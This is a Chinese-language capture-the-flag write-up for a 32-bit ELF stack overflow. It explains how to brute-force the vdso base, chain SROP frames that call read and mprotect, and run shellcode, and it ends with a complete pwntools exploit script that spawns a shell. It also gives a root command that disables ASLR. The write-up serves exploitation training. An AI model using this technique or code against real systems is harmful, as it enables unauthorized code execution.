32位动态链接ELF,开启了Full RELRO,NX,PIE
查看main函数
int __cdecl main(int argc, const char **argv, const char **envp) { char buf[10]; // [esp+16h] [ebp-Eh] BYREF read(0, buf, 0x400u); return atoi(buf); }
显然存在栈溢出漏洞
(这里IDA解析出现了一点问题,实际上需要有一个22位的padding之后才是return addr)
本题采用爆破vdso地址和SROP进行处理
在爆破vdso地址之前,可以先将ASLR关闭,这样的vdso地址将固定不变,方法是输入
bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
要是想要重新开启,只需要把0改成1或2即可(2还包括堆地址的随机化)
本题开启了PIE,程序基址不知道,libc基址不知道,并且程序中还没有写相关的函数
因此采用自己构造syscall的方式进行处理
首先查看程序此时的vmmap分布
可以看到vdso此时的基址是0xf7fd7000
找到sigreturn地址
我们只需要从sigreturn+1处调用即可,此时距离基址0xff1
为了SROP,我们还需要一个syscall(这里32位是int 0x80)之后有一个ret的gadget
找到了一个符合要求的
只不过多了3个pop,因此把这部分填充padding即可,这里距离基址0xfd7
因此就可以构造SROP了
思路是通过第一次栈溢出,通过调用SYS_read将构造的ROP链输入到一个已知地址且可写入的地方,并将esp指向那里,eip指向syscall_ret,这样之后就可以继续执行ROP链
构造的ROP链总共有两个环节,第一环是调用SYS_read将shellcode输入到一个已知地址且可写入的地方
第二环是将shellcode的地址利用SYS_mprotect设置为rwx,打破NX限制
之后调用shellcode即可
然后就是爆破vdso地址了
这里是32位程序,也就是需要爆破1~2个字节
本机上通过ldd ./233可以看到
这里的linux-gate.so.1也就是老版的vdso
可以发现开启ASLR后每次运行ldd它的结果都不一样
可以找到本机它的范围
之后爆破即可
exp如下:
from pwn import * import random context.arch = 'i386' context.os = 'linux' #context.log_level = 'debug' shellcode = asm(shellcraft.i386.linux.sh()) def work(io, vdso_base): goal_addr = vdso_base - 0x4000 shellcode_addr = goal_addr + 0x100 sigreturn_addr = vdso_base + 0xff1 int_0x80_pop_ebp_edx_ecx = vdso_base + 0xfd7 payload1 = b'a' * 22 + p32(sigreturn_addr) frame1 = SigreturnFrame(kernel = 'amd64') payload2 = b'a' * 12 + p32(sigreturn_addr) frame2 = SigreturnFrame(kernel = 'amd64') frame2.eax = constants.SYS_read frame2.ebx = 0 frame2.ecx = shellcode_addr frame2.edx = len(shellcode) frame2.eip = int_0x80_pop_ebp_edx_ecx frame2.esp = goal_addr + len(payload2) + len(SigreturnFrame(kernel = 'amd64')) payload2 += bytes(frame2) payload2 += b'a' * 12 + p32(sigreturn_addr) frame3 = SigreturnFrame(kernel = 'amd64') frame3.eax = constants.SYS_mprotect frame3.ebx = goal_addr frame3.ecx = 0x1000 frame3.edx = 7 frame3.eip = int_0x80_pop_ebp_edx_ecx frame3.esp = goal_addr + len(payload2) + len(SigreturnFrame(kernel = 'amd64')) payload2 += bytes(frame3) payload2 += b'a' * 12 + p32(shellcode_addr) #print(hex(len(payload2))) frame1.eax = constants.SYS_read frame1.ebx = 0 frame1.ecx = vdso_base - 0x4000 frame1.edx = len(payload2) frame1.eip = int_0x80_pop_ebp_edx_ecx frame1.esp = goal_addr payload1 += bytes(frame1) io.send(payload1) sleep(0.2) io.send(payload2) sleep(0.2) io.send(shellcode) sleep(0.2) io.sendline('echo PWN!') sleep(0.2) res = io.recv() if b'PWN!' not in res: raise Exception('Not true') while True: io = process('./233') #vdso_base = 0xf7fd7000 vdso_base = random.choice(range(0xf7ed0000, 0xf7ff0000, 0x1000)) info("vdso_base: 0x%x" % vdso_base) try: work(io, vdso_base) except: try: io.close() except: pass continue info("yes") io.interactive() break